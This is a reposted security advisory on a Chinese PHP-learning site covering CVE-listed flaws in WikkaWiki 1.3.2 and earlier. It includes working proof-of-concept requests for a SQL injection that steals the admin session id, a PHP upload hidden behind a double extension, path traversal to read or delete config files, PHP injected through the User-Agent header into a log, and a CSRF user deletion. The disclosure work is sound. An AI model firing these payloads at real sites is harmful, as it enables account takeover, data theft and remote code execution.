网站地图    收藏   

主页 > 后端 > 网站安全 >

WikkaWiki <= 1.3.2 Multiple Security Vulnerabilities - 网

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 作者: Egidio Romano aka EgiX www.2cto.com n0b0d13s[at]gmail[dot]com软件网站: http://wikkawiki.org/+---------------------------------------------------+| SQL Injection in UPDATE stateme......

 

作者: Egidio Romano aka EgiX www.2cto.com n0b0d13s[at]gmail[dot]com

软件网站: http://wikkawiki.org/

 

 

+---------------------------------------------------+

| SQL Injection in UPDATE statement (CVE-2011-4448) |

+---------------------------------------------------+

 

缺陷文件位于/actions/usersettings/usersettings.php

 

140.            default: // input is valid

141.            $this->Query("

142.                UPDATE ".$this->GetConfigValue('table_prefix')."users

143.                SET email = '".mysql_real_escape_string($email)."',

144.                    doubleclickedit = '".mysql_real_escape_string($doubleclickedit)."',

145.                    show_comments = '".mysql_real_escape_string($show_comments)."',

146.                    default_comment_display = '".$default_comment_display."',

147.                    revisioncount = ".$revisioncount.",

148.                    changescount = ".$changescount.",

149.                    theme = '".mysql_real_escape_string($usertheme)."'              

150.                WHERE name = '".$user['name']."'

151.                LIMIT 1"

152.                );

 

When handling  'update' action,  'default_comment_display' is  the only parameter  that isn't  sanitized with

mysql_real_escape_string(), this can be exploited to inject arbitrary SQL code. Because of this is a multiple

lines query and latest version of MySQL doesn't allow to start comment with /* no followed by a */, sometimes

It's impossible  to alter the  'users' table content  for e.g.  changing the  admin's password, but  is still

possible to inject a subquery to fetch for e.g. the session id of admin for a Session Hijacking attack.

This is a proof of concept request:

 

 POST /wikka/UserSettings HTTP/1.1

 Host: www.2cto.com

 Cookie: 96522b217a86eca82f6d72ef88c4c7f4=c3u94bo2csludij3v18787i4p6

 Content-Length: 140

 Content-Type: application/x-www-form-urlencoded

 Connection: keep-alive

 

 action=update&email=test%40test.com&default_comment_display=',email=(SELECT sessionid FROM wikka_sessions WHERE userid='WikiAdmin'),theme='

 

If admin is currently logged in, attacker will see his session id in the email field of 'UserSettings' form.

If admin doesn't  explicitly logout (for e.g. close  the browser before click on 'Logout'  link) his session

remains however  stored into  DB, so  this attack  could success also  if admin  isn't currently  logged in.

Successful exploitation no needs magic_quotes_gpc = off because of 'magicQuotesWorkaround' function.

 

 

+------------------------------------------+

|任意文件上传                              |

+------------------------------------------+

 

缺陷文件位置/actions/files/files.php

 

266.            elseif (preg_match('/.+\.('.$allowed_extensions.')$/i', $_FILES['file']['name']))

267.            {

268.                $strippedname = str_replace('\'', '', $_FILES['file']['name']);

269.                $strippedname = rawurlencode($strippedname);

270.                $strippedname = stripslashes($strippedname);

271.                $destfile = $upload_path.DIRECTORY_SEPARATOR.$strippedname; #89

272.  

273.                if (!file_exists($destfile))

274.                {

275.                    if (move_uploaded_file($_FILES['file']['tmp_name'], $destfile))

276.                    {

277.                        $notification_msg = T_("File was successfully uploaded.");

278.                    }

 

If 'INTRANET_MODE' is explicitly enabled or if an attacker conduct a successful Session Hijacking attack

using the first  vulnerability, It's possible to  upload files that contains multiple  extensions due to

insufficient input sanitization at line 266. Now look at $allowed_extensions variable definition:

 

'gif|jpeg|jpg|jpe|png|doc|xls|csv|ppt|ppz|pps|pot|pdf|asc|txt|zip|gtar|gz|bz2|tar|rar|vpp|mpp|vsd|mm|htm|html'

 

It contains some extensions  (e.g. mm, vpp...) that are rare to see in  a MIME type Apache configuration

setting, and this could lead to execution of arbitrary PHP code. Proof of concept upload request:

 

 POST /wikka/test HTTP/1.1

 Host: localhost

 Cookie: 96522b217a86eca82f6d72ef88c4c7f4=upjhsdd5rtc0ib55gv36l0jdt3

 Content-Length: 251

 Content-Type: multipart/form-data; boundary=--------1503534127

 Connection: keep-alive

 

 ----------1503534127

 Content-Disposition: form-data; name="file"; filename="test.php.mm"

 Content-Type: application/octet-stream

 

 <?php phpinfo(); ?>

 ----------1503534127

 Content-Disposition: form-data; name="upload"

 

 Upload

 ----------1503534127--

 

Where 'test' is a page containing the {{files}} action.

 

 

+---------------------------------------------------------------------+

| 任意文件下载和删除(CVE-2011-4450) |

+---------------------------------------------------------------------+

 

缺陷文件位于/handlers/files.xml/files.xml.php

 

53.    $file = $this->GetSafeVar('file', 'get');

54.    if ('.' == $file{0})

55.    {

56.        $this->Redirect($this->Href(), T_("Sorry, files of this type are not allowed."));

57.    }

58.    // do the action

59.    $action = $this->GetSafeVar('action', 'get');

60.    switch ($action)    # #312

61.    {

62.        // @@@ shared download code

63.        case 'download':

64.            header('Accept-Ranges: bytes');

65.            $_GET['file'] = basename($file); # #312

66.            $path = $upload_path.DIRECTORY_SEPARATOR.$file;    # #89, #312

 

...

 

101.            $fp = fopen($path, 'rb');

102.            while (!feof($fp))

103.            {

104.                $data = fread($fp, 4096);

105.                echo $data;

106.            }

107.            fclose($fp);

108.            exit();

109.        case 'delete':

110.            if ($this->IsAdmin() && FALSE===empty($file) && T_("File deleted") == $_SESSION['redirectmessage'])

111.            {

112.                $delete_success = @unlink($upload_path.DIRECTORY_SEPARATOR.$file); # #89, #312

 

The only check  of the user supplied filename  is done at line 54,  if the filename start with  a dot It's

rejected otherwise  It's accepted.  But this  isn't an efficiently  countermeasure against  Path Traversal

attacks, infact an attacker could request an URL like this:

 

 http://www.2cto.com /wikka/test/files.xml?action=download&file=/../../wikka.config.php

 

to download for e.g.  the configuration file (note that 'test' is a  page containing the {{files}} action,

but attachments aren't required for download or delete arbitrary files). Similarly, if an attacker conduct

a successful Session Hijacking attack using the first vulnerability, once he could send this POST request:

 

 POST /wikka/test HTTP/1.1

 Host: localhost

 Cookie: 96522b217a86eca82f6d72ef88c4c7f4=2nobpqp3a1bsf3j1ccl0stj6l6

 Content-Length: 16

 Content-Type: application/x-www-form-urlencoded

 Connection: keep-alive

 

 file_to_delete=1

 

to set $_SESSION['redirectmessage'] and after he could request an URL like this to delete arbitrary files:

 

 http://www.2cto.com /wikka/test/files.xml?action=delete&file=/../../.htaccess

 

 

+---------------------------------------+

| 远程代码执行(CVE-2011-4451) |

+---------------------------------------+

 

缺陷位于logSpam() function defined into /libs/Wakka.class.php

 

1315.     function logSpam($type,$tag,$body,$reason,$urlcount,$user='',$time='')

1316.     {

1317.        // set path

1318.        $spamlogpath = (isset($this->config['spamlog_path'])) ? $this->config['spamlog_path'] : DEF_SPAMLOG_PATH;    # @@@ make function

1319.        // gather data

1320.        if ($user == '')

1321.        {

1322.            $user = $this->GetUserName();                    # defaults to REMOTE_HOST to domain for anonymous user

1323.        }

1324.        if ($time == '')

1325.        {

1326.            $time = date('Y-m-d H:i:s');                    # current date/time

1327.        }

1328.        if (preg_match('/^mass delete/',$reason))            # @@@ i18n

1329.        {

1330.            $originip = '0.0.0.0';                            # don't record deleter's IP address!

1331.        }

1332.        else

1333.        {

1334.            $originip = $_SERVER['REMOTE_ADDR'];

1335.        }

1336.        $ua        = (isset($_SERVER['HTTP_USER_AGENT'])) ? '['.$_SERVER['HTTP_USER_AGENT'].']' : '[?]';

1337.        $body        = trim($body);

1338.        $sig        = SPAMLOG_SIG.' '.$type.' '.$time.' '.$tag.' - '.$originip.' - '.$user.' '.$ua.' - '.$reason.' - '.$urlcount."\n";

1339.        $content    = $sig.$body."\n\n";

1340.  

1341.        // add data to log            @@@ use appendFile

1342.        return $this->appendFile($spamlogpath,$content);    # nr. of bytes written if successful, FALSE otherwise

1343.  }

 

If 'spam_logging' option is enabled, an attacker could be able to inject arbitrary PHP code into 'spamlog_path'

file (that by default is './spamlog.txt.php') through $_SERVER['HTTP_USER_AGENT'] variable. Proof of concept:

 

 POST /wikka/test/addcomment HTTP/1.1

 Host: localhost

 Cookie: 96522b217a86eca82f6d72ef88c4c7f4=6l11flsnvef642oajav0ufnp83

 User-Agent: <?php phpinfo(); ?>

 Content-Length: 27

 Content-Type: application/x-www-form-urlencoded

 Connection: keep-alive

 

 body=foo&submit=Add+Comment

 

 

+--------------------------------------------+

| Cross-Site Request Forgery (CVE-2011-4452) |

+--------------------------------------------+

 

CSRF attacks countermeasures aren't properly implemented, so an attacker could

be able to create a malicious page containing an {{image}} action like this:

 

 {{image url="http://www.2cto.com /wikka/AdminUsers?user=TestUser&action=delete"}}

 

When the admin will visit this page, the 'TestUser' account will be deleted.

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论